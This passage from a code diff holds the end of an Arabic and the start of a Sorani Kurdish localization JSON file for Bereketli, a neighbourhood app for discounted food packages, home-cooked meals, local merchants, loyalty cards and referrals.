"categoryBakery": "مخبز",
"categoryRestaurant": "مطعم",
"categoryPastry": "حلويات",
"categoryMarket": "سوق",
"nearbyPackages": "طرود قريبة",
"categoryPackages": "طرود {{category}}",
"packageCount": "{{count}} طرد",
"emptyTitle": "لا توجد طرود قريبة",
"emptyText": "زِد المسافة أو جرّب \"الكل\"",
"notificationPermission": "إذن الإشعارات",
"notificationPermissionMsg": "يجب السماح بالإشعارات. يمكنك تفعيلها من الإعدادات.",
"notificationsEnabled": "تم تفعيل الإشعارات",
"notificationsEnabledMsg": "ستصلك إشعارات عن الطرود والحملات الجديدة!",
"notificationRegisterFailed": "فشل تسجيل الإشعارات."
},
"packageDetail": {
"title": "تفاصيل الطرد",
"notFound": "الطرد غير موجود",
"loadError": "تعذر تحميل بيانات الطرد",
"description": "الوصف",
"details": "التفاصيل",
"priceLabel": "السعر",
"pickupTime": "وقت الاستلام",
"remaining": "الكمية المتبقية",
"status": "الحالة",
"statusActive": "متاح",
"statusSoldOut": "نفد",
"statusExpired": "انتهت الصلاحية",
"deliveryMethod": "طريقة التسليم",
"pickup": "استلام شخصي",
"deliveryToAddress": "توصيل للعنوان",
"deliveryAddressPlaceholder": "أدخل عنوان التوصيل",
"deliveryAddressRequired": "يرجى إدخال عنوان التوصيل",
"total": "المجموع",
"purchasing": "جاري تقديم الطلب...",
"purchase": "اشترِ الآن",
"orderCreated": "تم إنشاء الطلب",
"orderCreatedMsg": "طلب #{{orderId}}\nالمجموع: {{price}} ليرة\n\nجاري التوجيه لصفحة الدفع.",
"viewOrder": "عرض الطلب",
"orderFailed": "تعذر إنشاء الطلب. حاول مجددا.",
"discount": "خصم %{{percent}}"
},
"orders": {
"title": "طلباتي",
"orderCount": "{{count}} طلب",
"qrPickup": "استلام QR",
"tabPackages": "طرد",
"tabMeals": "وجبة جار",
"emptyPackagesTitle": "لا توجد طلبات طرود بعد",
"emptyPackagesText": "قدّم طلبك الأول من قسم الطرود",
"emptyMealsTitle": "لا توجد طلبات وجبات بعد",
"emptyMealsText": "اطلب طعاما منزليا من قسم الجيران",
"statusPending": "قيد الانتظار",
"statusPaid": "مدفوع",
"statusPickedUp": "تم الاستلام",
"statusCancelled": "ملغى",
"statusRefunded": "مسترد",
"statusAccepted": "مقبول",
"statusRejected": "مرفوض",
"statusCompleted": "مكتمل",
"mealOrderBadge": "وجبة جار",
"portions": "{{count}} حصة"
},
"orderDetail": {
"backLabel": "رجوع",
"notFound": "الطلب غير موجود",
"loadError": "تعذر تحميل بيانات الطلب",
"pickupCode": "رمز الاستلام",
"tokenLabel": "الرمز",
"qrHint": "أظهر رمز QR هذا لموظف المتجر",
"orderDetails": "تفاصيل الطلب",
"orderNo": "رقم الطلب",
"quantity": "الكمية",
"unitPrice": "سعر الوحدة",
"total": "المجموع",
"date": "التاريخ",
"paymentDate": "تاريخ الدفع",
"pickupDate": "تاريخ الاستلام",
"cancelDate": "تاريخ الإلغاء",
"cancelling": "جاري الإلغاء...",
"cancelOrder": "إلغاء الطلب",
"cancelTitle": "إلغاء الطلب",
"cancelMessage": "هل أنت متأكد من إلغاء هذا الطلب؟",
"cancelConfirm": "إلغاء",
"cancelSuccess": "تم إلغاء طلبك",
"cancelFailed": "تعذر إلغاء الطلب",
"reviewButton": "اكتب تقييما",
"reviewTitle": "قيّم تجربتك",
"reviewPlaceholder": "تقييمك (اختياري)",
"reviewSubmitting": "جاري الإرسال...",
"reviewSubmit": "إرسال",
"reviewRatingRequired": "يرجى اختيار تقييم",
"reviewSuccess": "تم حفظ تقييمك!",
"reviewSuccessTitle": "شكرا لك",
"reviewFailed": "تعذر إرسال التقييم",
"reviewDone": "تم حفظ تقييمك. شكرا لك!"
},
"mealOrderDetail": {
"qrHint": "أظهر رمز QR هذا لصاحب الوجبة",
"portionLabel": "الحصص",
"orderDate": "تاريخ الطلب",
"acceptDate": "تاريخ القبول",
"deliveryDate": "تاريخ التوصيل",
"cancelDate": "تاريخ الإلغاء"
},
"qrScan": {
"title": "استلام QR",
"verifying": "جاري التحقق...",
"scanPrompt": "امسح رمز QR",
"instructions": "امسح رمز QR في المتجر بالكاميرا عند استلام طلبك",
"successTitle": "تم الاستلام!",
"successMessage": "طلب #{{orderId}} تم استلامه بنجاح.\n\nالمجموع: {{price}} ليرة",
"errorMessage": "تعذر التحقق من رمز QR. حاول مجددا.",
"retryButton": "حاول مجددا"
},
"search": {
"placeholder": "ابحث عن طرد أو متجر أو فئة...",
"popularCategories": "فئات شائعة",
"popularSearches": "عمليات بحث شائعة",
"resultCount": "تم العثور على {{count}} نتيجة",
"emptyTitle": "لم يتم العثور على نتائج",
"emptyText": "جرّب مصطلح بحث مختلف"
},
"meals": {
"title": "وجبات الجيران",
"subtitle": "منزلية، طازجة، موثوقة",
"searchPlaceholder": "ابحث عن وجبة أو طاهٍ...",
"nearbyMeals": "وجبات قريبة",
"mealCount": "{{count}} وجبة",
"pickup": "استلام شخصي",
"delivery": "توصيل",
"pickupOrDelivery": "استلام / توصيل",
"lastPortions": "آخر {{count}}!",
"perPortion": "/ حصة",
"portionCount": "{{count}} حصة",
"emptyTitle": "لا توجد وجبات منزلية قريبة",
"emptyText": "زِد المسافة أو تحقق لاحقا"
},
"mealDetail": {
"title": "تفاصيل الوجبة",
"notFound": "الوجبة غير موجودة",
"defaultCook": "الطاهي",
"priceLabel": "السعر",
"pricePerPortion": "{{price}} ليرة / حصة",
"availableUntil": "متاح",
"availableUntilValue": "حتى {{time}}",
"remainingLabel": "المتبقي",
"remainingValue": "{{remaining}} / {{total}} حصة",
"deliveryLabel": "التوصيل",
"pickup": "استلام شخصي",
"deliveryToAddress": "توصيل للعنوان",
"pickupOrDelivery": "استلام / توصيل",
"portionLabel": "الحصص",
"total": "المجموع",
"ordering": "جاري تقديم الطلب...",
"soldOut": "نفد",
"order": "اطلب الآن",
"orderSuccess": "تم تقديم الطلب!",
"orderSuccessMsg": "طلب #{{orderId}}\n{{portions}} حصة {{title}}\nالمجموع: {{total}} ليرة\n\nسيتم إعلامك عند تأكيد الطاهي.",
"orderFailed": "تعذر إنشاء الطلب."
},
"merchants": {
"title": "متاجر الحي",
"subtitle": "اجمع النقاط واربح الجوائز",
"searchPlaceholder": "ابحث عن متجر...",
"categoryAll": "الكل",
"categoryBarber": "حلاق",
"categoryCafe": "مقهى",
"categoryButcher": "جزار",
"categoryGreengrocer": "بقال",
"categoryBakery": "مخبز",
"categoryPharmacy": "صيدلية",
"categoryTailor": "خياط",
"categoryOther": "أخرى",
"nearbyMerchants": "متاجر قريبة",
"merchantCount": "{{count}} متجر",
"proPlan": "متجر برو",
"businessPlan": "أعمال",
"emptyTitle": "لا توجد متاجر قريبة",
"emptyText": "زِد المسافة أو جرّب فئة أخرى"
},
"merchantDetail": {
"notFound": "المتجر غير موجود",
"phoneNotRegistered": "رقم الهاتف غير مسجل.",
"services": "الخدمات",
"products": "المنتجات",
"surprisePackages": "طرود مفاجئة",
"buyButton": "اشترِ",
"loyaltyProgram": "برنامج الولاء",
"loyaltyJoinHint": "ستنضم تلقائيا عند زيارتك الأولى",
"contact": "التواصل",
"callSuffix": "اتصل",
"appointmentTitle": "حجز موعد",
"appointmentTimes": "الأوقات المتاحة لغد:",
"appointmentCreated": "تم حجز الموعد!",
"appointmentCreatedMsg": "{{service}}\n{{date}} الساعة {{time}}\n\nسيتم إعلامك عند تأكيد المتجر.",
"appointmentFailed": "تعذر حجز الموعد.",
"orderCreated": "تم إنشاء الطلب!",
"orderFailed": "تعذر إنشاء الطلب",
"callAndOrder": "اتصل واطلب",
"closeButton": "إغلاق"
},
"profile": {
"title": "حسابي",
"defaultUser": "مستخدم",
"editHint": "تعديل",
"editNameTitle": "تعديل الاسم",
"namePlaceholder": "اسمك",
"nameRequired": "الاسم لا يمكن أن يكون فارغا",
"nameUpdateFailed": "تعذر تحديث الاسم",
"ordersLabel": "طلباتي",
"appointmentsLabel": "مواعيدي",
"loyaltyLabel": "الولاء",
"discoverLabel": "اكتشف",
"surprisePackages": "طرود مفاجئة",
"surprisePackagesDesc": "طرود مخفضة قريبة منك",
"neighborhoodMerchants": "متاجر الحي",
"neighborhoodMerchantsDesc": "اجمع النقاط واربح الجوائز",
"securityLabel": "الأمان",
"changePassword": "تغيير كلمة المرور",
"supportLabel": "الدعم",
"faq": "الأسئلة الشائعة",
"faqDesc": "18 سؤال شائع - إجابات حقيقية",
"contactLabel": "التواصل",
"contactEmail": "destek@bereketli.app",
"website": "الموقع الإلكتروني",
"websiteUrl": "bereketli.pezkiwi.app",
"version": "الإصدار",
"logout": "تسجيل الخروج",
"logoutConfirm": "هل أنت متأكد من تسجيل الخروج؟",
"logoutCancel": "إلغاء",
"deleteAccount": "حذف حسابي",
"deleteAccountDesc": "هذا الإجراء لا يمكن التراجع عنه",
"deleteAccountConfirm": "هذا الإجراء لا يمكن التراجع عنه. سيتم حذف حسابك وجميع بياناتك نهائيا.",
"deleteAccountButton": "حذف حسابي",
"deleteAccountFailed": "تعذر حذف الحساب. حاول مجددا.",
"language": "اللغة",
"selectLanguage": "اختر اللغة"
},
"changePassword": {
"title": "تغيير كلمة المرور",
"subtitle": "أدخل كلمة المرور الحالية للتحقق",
"currentPassword": "كلمة المرور الحالية",
"currentPasswordPlaceholder": "كلمة المرور الحالية",
"newPassword": "كلمة المرور الجديدة",
"newPasswordPlaceholder": "8 أحرف على الأقل",
"confirmPassword": "تأكيد كلمة المرور الجديدة",
"confirmPasswordPlaceholder": "أعد إدخال كلمة المرور الجديدة",
"changing": "جاري التغيير...",
"change": "تغيير كلمة المرور",
"allFieldsRequired": "يرجى ملء جميع الحقول",
"passwordMinLength": "كلمة المرور الجديدة يجب أن تكون 8 أحرف على الأقل",
"passwordMismatch": "كلمتا المرور الجديدتان غير متطابقتين",
"success": "تم تغيير كلمة المرور",
"successTitle": "تم بنجاح",
"failed": "تعذر تغيير كلمة المرور. تحقق من كلمة المرور الحالية."
},
"faq": {
"title": "الأسئلة الشائعة",
"categoryAll": "الكل",
"categoryGenel": "عام",
"categoryCustomers": "العملاء",
"categoryBusinesses": "الأعمال",
"categoryPayment": "الدفع",
"empty": "لم تُضف أسئلة شائعة بعد"
},
"appointments": {
"title": "مواعيدي",
"statusPending": "قيد الانتظار",
"statusConfirmed": "مؤكد",
"statusCompleted": "مكتمل",
"statusCancelled": "ملغى",
"statusNoShow": "لم يحضر",
"cancelTitle": "إلغاء الموعد",
"cancelMessage": "هل أنت متأكد من إلغاء هذا الموعد؟",
"cancelConfirm": "إلغاء",
"cancelFailed": "تعذر إلغاء الموعد.",
"durationMin": "{{min}} دقيقة",
"emptyTitle": "لا توجد مواعيد بعد",
"emptyText": "احجز موعدا مع حلاق أو خياط من قسم المتاجر",
"days": {
"sunday": "الأحد",
"monday": "الاثنين",
"tuesday": "الثلاثاء",
"wednesday": "الأربعاء",
"thursday": "الخميس",
"friday": "الجمعة",
"saturday": "السبت"
}
},
"loyalty": {
"title": "بطاقات الولاء",
"stampUnit": "ختم",
"pointUnit": "نقطة",
"visitUnit": "زيارة",
"redeemButton": "استلم المكافأة",
"notReady": "غير جاهز بعد",
"notReadyMsg": "أكمل {{progress}} للحصول على مكافأتك.",
"redeemTitle": "استلام المكافأة",
"redeemMessage": "{{reward}}\n\nهل تريد استلام مكافأتك؟",
"redeemSuccess": "مبروك!",
"redeemSuccessMsg": "تم استخدام مكافأتك.",
"redeemFailed": "تعذر استلام المكافأة",
"lastVisit": "آخر زيارة: {{date}}",
"emptyTitle": "لا توجد بطاقات ولاء بعد",
"emptyText": "اجمع النقاط بالتسوق من متاجر الحي",
"exploreMerchants": "اكتشف المتاجر"
},
"chat": {
"title": "مساعد بركتلي",
"placeholder": "اكتب رسالتك...",
"greeting": "مرحبا! أنا مساعد بركتلي. كيف يمكنني مساعدتك؟",
"typing": "يكتب...",
"error": "تعذر الحصول على رد، حاول مجددا",
"suggestPackages": "طرود قريبة مني",
"suggestFood": "ماذا يمكنني أن آكل؟",
"suggestStore": "اقترح متجرا",
"suggestHez": "ما هو HEZ Coin؟",
"listening": "جارٍ الاستماع...",
"voiceError": "فشل التعرف على الصوت، حاول مجددا",
"holdToTalk": "اضغط مطولا للتحدث"
},
"referral": {
"title": "ادعُ واكسب",
"totalPoints": "مجموع نقاطك",
"pointsUnit": "نقطة",
"inviteLabel": "الدعوات",
"completedLabel": "المكتملة",
"earnedLabel": "المكتسبة",
"codeTitle": "رمز دعوتك",
"copy": "نسخ",
"copied": "تم النسخ",
"copiedMsg": "رمز دعوتك: {{code}}",
"whatsappShare": "شارك عبر واتساب",
"share": "مشاركة",
"shareText": "انضم إلى بركتلي ولنكسب معا! رمز دعوتي: {{code}}\nhttps://bereketli.pezkiwi.app/davet/{{code}}",
"howItWorks": "كيف يعمل؟",
"step1Title": "صديقك يسجل",
"step1Desc": "اكسب {{points}}+ نقطة",
"step2Title": "يقدم أول طلب",
"step2Desc": "اكسب 100 نقطة",
"step3Title": "كلما دعوت أكثر",
"step3Desc": "كلما كسبت أكثر!",
"usePoints": "استخدم نقاطك",
"usePoints1Title": "خصومات على الطرود",
"usePoints1Desc": "عروض تحددها المتاجر",
"usePoints2Title": "حوّل إلى HEZ Coin",
"usePoints2Desc": "قريبا",
"historyTitle": "سجل الدعوات",
"historyEmpty": "لا توجد دعوات بعد",
"historyEmptyText": "شارك رمزك وابدأ بكسب النقاط"
}
}
@@ -0,0 +1,467 @@
{
"common": {
"loading": "بارکردن...",
"error": "هەڵە",
"retry": "دووبارە هەوڵبدەرەوە",
"cancel": "پاشگەزبوونەوە",
"ok": "باشە",
"save": "پاشەکەوتکردن",
"delete": "سڕینەوە",
"back": "گەڕانەوە",
"next": "دواتر",
"close": "داخستن",
"search": "گەڕان",
"noResults": "هیچ ئەنجامێک نەدۆزرایەوە",
"pullToRefresh": "ڕاکێشە بۆ نوێکردنەوە",
"or": "یان",
"confirm": "دڵنیاکردنەوە",
"all": "هەمووی",
"distance": "دووری",
"goBack": "گەڕانەوە",
"saving": "پاشەکەوتدەکرێت...",
"info": "زانیاری"
},
"tabs": {
"paketler": "پاکێتەکان",
"komsu": "دراوسێ",
"esnaf": "دوکانەکان",
"hesabim": "هەژمارەکەم"
},
"auth": {
"subtitle": "ئەپی گەڕەکەکەت",
"emailOrPhone": "ئیمەیڵ یان ژمارەی مۆبایل",
"emailPlaceholder": "example@email.com یان 05xx...",
"password": "وشەی نهێنی",
"passwordPlaceholder": "وشەی نهێنیت",
"loggingIn": "چوونەژوورەوە...",
"login": "چوونەژوورەوە",
"googleLogin": "چوونەژوورەوە لە ڕێگەی گووگڵ",
"noAccount": "هەژمارت نییە؟",
"registerLink": "خۆت تۆمار بکە",
"loginErrorTitle": "هەڵە",
"loginErrorRequired": "ئیمەیڵ/مۆبایل و وشەی نهێنی پێویستە",
"googleTokenError": "تۆکنی گووگڵ بەدەست نەهات",
"googlePlayError": "خزمەتگوزاریەکانی گووگڵ پلەی بەردەست نییە",
"googleLoginFailed": "چوونەژوورەوەی گووگڵ سەرکەوتوو نەبوو",
"registerTitle": "خۆت تۆمار بکە",
"registerSubtitle": "بەخێربێیت بۆ بەرەکەتلی",
"fullName": "ناوی تەواو",
"fullNamePlaceholder": "ناوی تەواوت",
"email": "ئیمەیڵ",
"emailOnlyPlaceholder": "example@email.com",
"phoneOptional": "مۆبایل (ئارەزوومەندانە)",
"phonePlaceholder": "05xx xxx xx xx",
"passwordLabel": "وشەی نهێنی",
"passwordMinPlaceholder": "لانیکەم ٨ پیت",
"confirmPassword": "دووبارەکردنەوەی وشەی نهێنی",
"confirmPasswordPlaceholder": "وشەی نهێنیت دووبارە بنووسەرەوە",
"referralCodeOptional": "کۆدی بانگهێشت (ئارەزوومەندانە)",
"referralCodePlaceholder": "ئەگەر کۆدی بانگهێشتت هەیە بینووسە",
"registering": "تۆمارکردن...",
"register": "خۆت تۆمار بکە",
"haveAccount": "پێشتر هەژمارت هەیە؟",
"loginLink": "بچۆ ژوورەوە",
"registerErrorRequired": "ناو، ئیمەیڵ و وشەی نهێنی پێویستە",
"registerErrorPasswordMin": "وشەی نهێنی لانیکەم ٨ پیت دەبێت",
"registerErrorPasswordMatch": "وشەی نهێنییەکان یەک ناگرنەوە"
},
"splash": {
"subtitle": "ئەپی گەڕەکەکەت",
"tagline": "لەبەرچاوگرتنی خواردنەوە، بەرەکەت دابەش بکە"
},
"onboarding": {
"slide1Title": "ڕێگری لە بەفیڕۆچوونی خواردن",
"slide1Desc": "بەرهەمە ماوەکانی کۆتایی ڕۆژ لە دوکانەکان بە نرخێکی داشکاو بکڕە. پارە پاشەکەوت بکە و چاکەکاری بکە.",
"slide2Title": "گەڕەکەکەت بدۆزەرەوە",
"slide2Desc": "نانەوایی، میوەفرۆشی، قەسابخانە، دەلاک و زیاتری نزیکت بدۆزەرەوە. خاڵی وەفاداری کۆبکەرەوە، خەڵات ببەرەوە.",
"slide3Title": "دەست پێبکە",
"slide3Desc": "شوێنەکەت هاوبەش بکە، پاکێتە سورپرایزەکان و دوکانە نزیکەکان بدۆزەرەوە!",
"locationLabel": "شوێن",
"locationDesc": "پاکێتە نزیکەکان نیشان بدە",
"notificationLabel": "ئاگادارکردنەوەکان",
"notificationDesc": "لە دەرفەتەکان ئاگادار بە",
"skip": "تێپەڕاندن",
"next": "دواتر ←",
"start": "دەست پێبکە",
"micLabel": "مایکرۆفۆن",
"micDesc": "بۆ قسەکردن لەگەڵ یاریدەدەری AI",
"cameraLabel": "کامێرا",
"cameraDesc": "بۆ QR کۆد و وێنە"
},
"locationPicker": {
"title": "شوێن هەڵبژێرە",
"useMyLocation": "شوێنەکەم بەکاربهێنە",
"confirm": "دڵنیاکردنەوە",
"permissionRequired": "ڕێگەپێدانی شوێن پێویستە",
"permissionMessage": "تکایە لە ڕێکخستنەکان ڕێگەپێدانی شوێن چالاک بکە.",
"gpsError": "سیگناڵی GPS نەدۆزرایەوە",
"gpsErrorMessage": "لە شوێنێکی کراوە دووبارە هەوڵبدەرەوە یان لە نەخشەکە خاڵێک هەڵبژێرە."
},
"packages": {
"deliveryAddress": "ناونیشانی گەیاندن",
"selectLocation": "شوێن هەڵبژێرە",
"searchPlaceholder": "بگەڕێ بۆ پاکێت یان دوکان...",
"sortLabel": "ڕیزکردن",
"sortDistance": "دووری",
"sortPrice": "نرخ",
"sortRating": "هەڵسەنگاندن",
"delivery": "گەیاندن",
"discounted": "داشکاو",
"lastFew": "کەمی ماوە",
"priceRange": "بازنەی نرخ",
"referralBannerTitle": "بانگهێشت بکە و ببەرەوە",
"referralBannerDesc": "هاوڕێکەت بهێنە، خاڵ ببەرەوە!",
"categoryAll": "هەمووی",
"categoryBakery": "نانەوایی",
"categoryRestaurant": "چێشتخانە",
"categoryPastry": "شیرینیفرۆشی",
"categoryMarket": "بازاڕ",
"nearbyPackages": "پاکێتە نزیکەکان",
"categoryPackages": "پاکێتەکانی {{category}}",
"packageCount": "{{count}} پاکێت",
"emptyTitle": "لە نزیکتدا پاکێت نییە",
"emptyText": "دووری زیاد بکە یان \"هەمووی\" تاقیبکەرەوە",
"notificationPermission": "ڕێگەپێدانی ئاگادارکردنەوە",
"notificationPermissionMsg": "پێویستە ڕێگە بە ئاگادارکردنەوەکان بدەیت. لە ڕێکخستنەکان دەتوانیت.",
"notificationsEnabled": "ئاگادارکردنەوەکان چالاک کران",
"notificationsEnabledMsg": "لە پاکێت و کەمپینی نوێ ئاگادار دەکرێیتەوە!",
"notificationRegisterFailed": "تۆمارکردنی ئاگادارکردنەوە سەرکەوتوو نەبوو."
},
"packageDetail": {
"title": "وردەکاری پاکێت",
"notFound": "پاکێت نەدۆزرایەوە",
"loadError": "نەتوانرا زانیاری پاکێت بارکرێت",
"description": "وەسف",
"details": "وردەکاری",
"priceLabel": "نرخ",
"pickupTime": "کاتی وەرگرتن",
"remaining": "ماوە",
"status": "دۆخ",
"statusActive": "چالاک",
"statusSoldOut": "تەواو بوو",
"statusExpired": "بەسەرچوو",
"deliveryMethod": "شێوازی گەیاندن",
"pickup": "خۆت وەربگرە",
"deliveryToAddress": "گەیاندن بۆ ناونیشان",
"deliveryAddressPlaceholder": "ناونیشانی گەیاندنت بنووسە",
"deliveryAddressRequired": "تکایە ناونیشانی گەیاندن بنووسە",
"total": "کۆی گشتی",
"purchasing": "داواکاری دەنێردرێت...",
"purchase": "بیکڕە",
"orderCreated": "داواکاری دروست کرا",
"orderCreatedMsg": "داواکاری #{{orderId}}\nکۆی گشتی: {{price}} لیرە\n\nئاڕاستەکراوی بەرەوە پەڕەی پارەدان.",
"viewOrder": "داواکاری ببینە",
"orderFailed": "نەتوانرا داواکاری دروست بکرێت. دووبارە هەوڵبدەرەوە.",
"discount": "%{{percent}} داشکان"
},
"orders": {
"title": "داواکارییەکانم",
"orderCount": "{{count}} داواکاری",
"qrPickup": "وەرگرتنی QR",
"tabPackages": "پاکێت",
"tabMeals": "خواردنی دراوسێ",
"emptyPackagesTitle": "هێشتا داواکاری پاکێتت نییە",
"emptyPackagesText": "لە بەشی پاکێتەکانەوە یەکەم داواکاریت بکە",
"emptyMealsTitle": "هێشتا داواکاری خواردنت نییە",
"emptyMealsText": "لە بەشی دراوسێیەوە خواردنی ماڵەوە داوا بکە",
"statusPending": "چاوەڕوانە",
"statusPaid": "پارە دراو",
"statusPickedUp": "وەرگیرا",
"statusCancelled": "هەڵوەشاندراوە",
"statusRefunded": "گەڕێنرایەوە",
"statusAccepted": "پەسەند کرا",
"statusRejected": "ڕەتکرایەوە",
"statusCompleted": "تەواو بوو",
"mealOrderBadge": "خواردنی دراوسێ",
"portions": "{{count}} پۆرشن"
},
"orderDetail": {
"backLabel": "گەڕانەوە",
"notFound": "داواکاری نەدۆزرایەوە",
"loadError": "نەتوانرا زانیاری داواکاری بارکرێت",
"pickupCode": "کۆدی وەرگرتن",
"tokenLabel": "تۆکن",
"qrHint": "ئەم QR کۆدە پیشانی کارمەندی دوکان بدە",
"orderDetails": "وردەکاری داواکاری",
"orderNo": "ژمارەی داواکاری",
"quantity": "بڕ",
"unitPrice": "نرخی یەکە",
"total": "کۆی گشتی",
"date": "بەروار",
"paymentDate": "بەرواری پارەدان",
"pickupDate": "بەرواری وەرگرتن",
"cancelDate": "بەرواری هەڵوەشاندن",
"cancelling": "هەڵوەشاندن...",
"cancelOrder": "هەڵوەشاندنی داواکاری",
"cancelTitle": "هەڵوەشاندنی داواکاری",
"cancelMessage": "دڵنیایت لە هەڵوەشاندنی ئەم داواکارییە؟",
"cancelConfirm": "هەڵبوەشێنە",
"cancelSuccess": "داواکارییەکەت هەڵوەشا",
"cancelFailed": "نەتوانرا داواکاری هەڵبوەشێنرێت",
"reviewButton": "هەڵسەنگاندن بنووسە",
"reviewTitle": "ئەزموونەکەت هەڵبسەنگێنە",
"reviewPlaceholder": "هەڵسەنگاندنەکەت (ئارەزوومەندانە)",
"reviewSubmitting": "ناردن...",
"reviewSubmit": "بینێرە",
"reviewRatingRequired": "تکایە هەڵسەنگاندنێک هەڵبژێرە",
"reviewSuccess": "هەڵسەنگاندنەکەت پاشەکەوت کرا!",
"reviewSuccessTitle": "سوپاس",
"reviewFailed": "نەتوانرا هەڵسەنگاندن بنێردرێت",
"reviewDone": "هەڵسەنگاندنەکەت پاشەکەوت کرا. سوپاس!"
},
"mealOrderDetail": {
"qrHint": "ئەم QR کۆدە پیشانی خاوەنی خواردنەکە بدە",
"portionLabel": "پۆرشن",
"orderDate": "بەرواری داواکاری",
"acceptDate": "بەرواری پەسەندکردن",
"deliveryDate": "بەرواری گەیاندن",
"cancelDate": "بەرواری هەڵوەشاندن"
},
"qrScan": {
"title": "وەرگرتنی QR",
"verifying": "پشتڕاستکردنەوە...",
"scanPrompt": "QR کۆد بخوێنەرەوە",
"instructions": "کاتی وەرگرتنی داواکارییەکەت لە دوکاندا QR کۆدەکە بە کامێراکەت بخوێنەرەوە",
"successTitle": "وەرگیرا!",
"successMessage": "داواکاری #{{orderId}} بە سەرکەوتوویی وەرگیرا.\n\nکۆی گشتی: {{price}} لیرە",
"errorMessage": "نەتوانرا QR کۆد پشتڕاست بکرێتەوە. دووبارە هەوڵبدەرەوە.",
"retryButton": "دووبارە هەوڵبدەرەوە"
},
"search": {
"placeholder": "بگەڕێ بۆ پاکێت، دوکان یان پۆل...",
"popularCategories": "پۆلە بەناوبانگەکان",
"popularSearches": "گەڕانە بەناوبانگەکان",
"resultCount": "{{count}} ئەنجام دۆزرایەوە",
"emptyTitle": "هیچ ئەنجامێک نەدۆزرایەوە",
"emptyText": "وشەیەکی گەڕانی جیاواز تاقیبکەرەوە"
},
"meals": {
"title": "خواردنی دراوسێکان",
"subtitle": "ماڵەوە لێنراو، تازە، متمانەپێکراو",
"searchPlaceholder": "بگەڕێ بۆ خواردن یان چێشتکەر...",
"nearbyMeals": "خواردنە نزیکەکان",
"mealCount": "{{count}} خواردن",
"pickup": "خۆت وەربگرە",
"delivery": "گەیاندن",
"pickupOrDelivery": "وەرگرتن / گەیاندن",
"lastPortions": "کۆتا {{count}}!",
"perPortion": "/ پۆرشن",
"portionCount": "{{count}} پۆرشن",
"emptyTitle": "لە نزیکتدا خواردنی ماڵەوە نییە",
"emptyText": "دووری زیاد بکە یان دواتر سەیری بکەرەوە"
},
"mealDetail": {
"title": "وردەکاری خواردن",
"notFound": "خواردن نەدۆزرایەوە",
"defaultCook": "چێشتکەر",
"priceLabel": "نرخ",
"pricePerPortion": "{{price}} لیرە / پۆرشن",
"availableUntil": "بەردەستە",
"availableUntilValue": "تا {{time}}",
"remainingLabel": "ماوە",
"remainingValue": "{{remaining}} / {{total}} پۆرشن",
"deliveryLabel": "گەیاندن",
"pickup": "خۆت وەربگرە",
"deliveryToAddress": "گەیاندن بۆ ناونیشان",
"pickupOrDelivery": "وەرگرتن / گەیاندن",
"portionLabel": "پۆرشن",
"total": "کۆی گشتی",
"ordering": "داواکاری دەنێردرێت...",
"soldOut": "تەواو بوو",
"order": "داواکاری بکە",
"orderSuccess": "داواکاری نێردرا!",
"orderSuccessMsg": "داواکاری #{{orderId}}\n{{portions}} پۆرشن {{title}}\nکۆی گشتی: {{total}} لیرە\n\nکاتی پەسەندکردنی چێشتکەر ئاگادار دەکرێیتەوە.",
"orderFailed": "نەتوانرا داواکاری دروست بکرێت."
},
"merchants": {
"title": "دوکانەکانی گەڕەک",
"subtitle": "خاڵ کۆبکەرەوە، خەڵات ببەرەوە",
"searchPlaceholder": "بگەڕێ بۆ دوکان...",
"categoryAll": "هەمووی",
"categoryBarber": "دەلاک",
"categoryCafe": "قاوەخانە",
"categoryButcher": "قەسابخانە",
"categoryGreengrocer": "میوەفرۆشی",
"categoryBakery": "نانەوایی",
"categoryPharmacy": "دەرمانخانە",
"categoryTailor": "خەیاتخانە",
"categoryOther": "هیتر",
"nearbyMerchants": "دوکانە نزیکەکان",
"merchantCount": "{{count}} دوکان",
"proPlan": "دوکانی پرۆ",
"businessPlan": "بزنس",
"emptyTitle": "لە نزیکتدا دوکان نەدۆزرایەوە",
"emptyText": "دووری زیاد بکە یان پۆلێکی دیکە تاقیبکەرەوە"
},
"merchantDetail": {
"notFound": "دوکان نەدۆزرایەوە",
"phoneNotRegistered": "ژمارەی تەلەفۆن تۆمار نەکراوە.",
"services": "خزمەتگوزارییەکان",
"products": "بەرهەمەکان",
"surprisePackages": "پاکێتە سورپرایزەکان",
"buyButton": "بیکڕە",
"loyaltyProgram": "پرۆگرامی وەفاداری",
"loyaltyJoinHint": "لە یەکەم سەردانتدا خۆکارانە بەشدار دەبیت",
"contact": "پەیوەندی",
"callSuffix": "پەیوەندی بکە",
"appointmentTitle": "مەوعید دابنێ",
"appointmentTimes": "کاتە بەردەستەکانی سبەی:",
"appointmentCreated": "مەوعید دروست کرا!",
"appointmentCreatedMsg": "{{service}}\n{{date}} کاتژمێر {{time}}\n\nکاتی پەسەندکردنی دوکان ئاگادار دەکرێیتەوە.",
"appointmentFailed": "نەتوانرا مەوعید دروست بکرێت.",
"orderCreated": "داواکاری دروست کرا!",
"orderFailed": "نەتوانرا داواکاری دروست بکرێت",
"callAndOrder": "پەیوەندی بکە و داواکاری بکە",
"closeButton": "داخستن"
},
"profile": {
"title": "هەژمارەکەم",
"defaultUser": "بەکارهێنەر",
"editHint": "دەستکاری",
"editNameTitle": "ناوەکەت دەستکاری بکە",
"namePlaceholder": "ناوت",
"nameRequired": "ناو بەتاڵ نابێت",
"nameUpdateFailed": "نەتوانرا ناو نوێ بکرێتەوە",
"ordersLabel": "داواکارییەکانم",
"appointmentsLabel": "مەوعیدەکانم",
"loyaltyLabel": "وەفاداری",
"discoverLabel": "بدۆزەرەوە",
"surprisePackages": "پاکێتە سورپرایزەکان",
"surprisePackagesDesc": "پاکێتە داشکاوەکان لە نزیکت",
"neighborhoodMerchants": "دوکانەکانی گەڕەک",
"neighborhoodMerchantsDesc": "خاڵ کۆبکەرەوە، خەڵات ببەرەوە",
"securityLabel": "ئاسایش",
"changePassword": "گۆڕینی وشەی نهێنی",
"supportLabel": "پشتیوانی",
"faq": "پرسیارە باوەکان",
"faqDesc": "١٨ پرسیار — وەڵامی ڕاستەقینە",
"contactLabel": "پەیوەندی",
"contactEmail": "destek@bereketli.app",
"website": "ماڵپەڕ",
"websiteUrl": "bereketli.pezkiwi.app",
"version": "وەشان",
"logout": "چوونەدەرەوە",
"logoutConfirm": "دڵنیایت دەتەوێت بچیتە دەرەوە؟",
"logoutCancel": "پاشگەزبوونەوە",
"deleteAccount": "سڕینەوەی هەژمارەکەم",
"deleteAccountDesc": "ئەم کارە ناگەڕێتەوە",
